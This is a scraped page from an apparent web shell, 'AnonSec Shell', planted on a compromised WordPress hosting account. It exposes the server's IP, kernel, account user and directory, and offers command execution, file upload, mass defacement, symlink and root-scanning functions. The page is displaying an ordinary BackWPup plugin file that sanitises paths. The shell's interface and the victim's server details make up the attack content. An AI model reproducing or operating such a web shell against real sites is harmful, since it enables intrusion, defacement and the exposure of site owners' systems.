. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/wp-content/plugins/backwpup/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/wp-content/plugins/backwpup/inc/class-sanitize-path.php
<?php
/**
 * Class BackWPup_Sanitize_Path
 */
class BackWPup_Sanitize_Path {

	/**
	 * Slug Sanitizer Pattern
	 *
	 * @var string The pattern for array keys
	 */
	const SLUG_SANITIZE_PATTERN = '/[^a-z0-9\-\_]*/';
	/**
	 * Path Sanitizer Pattern
	 *
	 * @var string The pattern to sanitize the paths
	 */
	const PATH_SANITIZE_PATTERN = '/[^a-zA-Z0-9\/\-\_\.]+/';

	/**
	 * Sanitize path
	 *
	 * @param string $path The path to sanitize.
	 *
	 * @return string The sanitized path.
	 */
	public static function sanitize_path( $path ) {

		while ( false !== strpos( $path, '..' ) ) {
			$path = str_replace( '..', '', $path );
		}
		$path = ( '/' !== $path ) ? $path : '';

		return $path;
	}

	/**
	 * Sanitize Slug By RegExp
	 *
	 * @param string $slug The slug to sanitize.
	 *
	 * @return string The sanitize slug. May be empty.
	 */
	public static function sanitize_slug_reg_exp( $slug ) {

		return preg_replace( static::SLUG_SANITIZE_PATTERN, '', $slug );
	}

	/**
	 * Sanitize file path By RegExp
	 *
	 * @param string $path The path to sanitize.
	 *
	 * @return string The sanitized path
	 */
	public static function sanitize_path_regexp( $path ) {

		// Sanitize template path and remove the path separator.
		// locate_template build the path in this way {STYLESHEET|TEMPLATE}PATH . '/' . $template_name.
		return self::sanitize_path(
			preg_replace( static::PATH_SANITIZE_PATTERN, '', $path )
		);
	}
}

Anon7 - 2022
AnonSec Team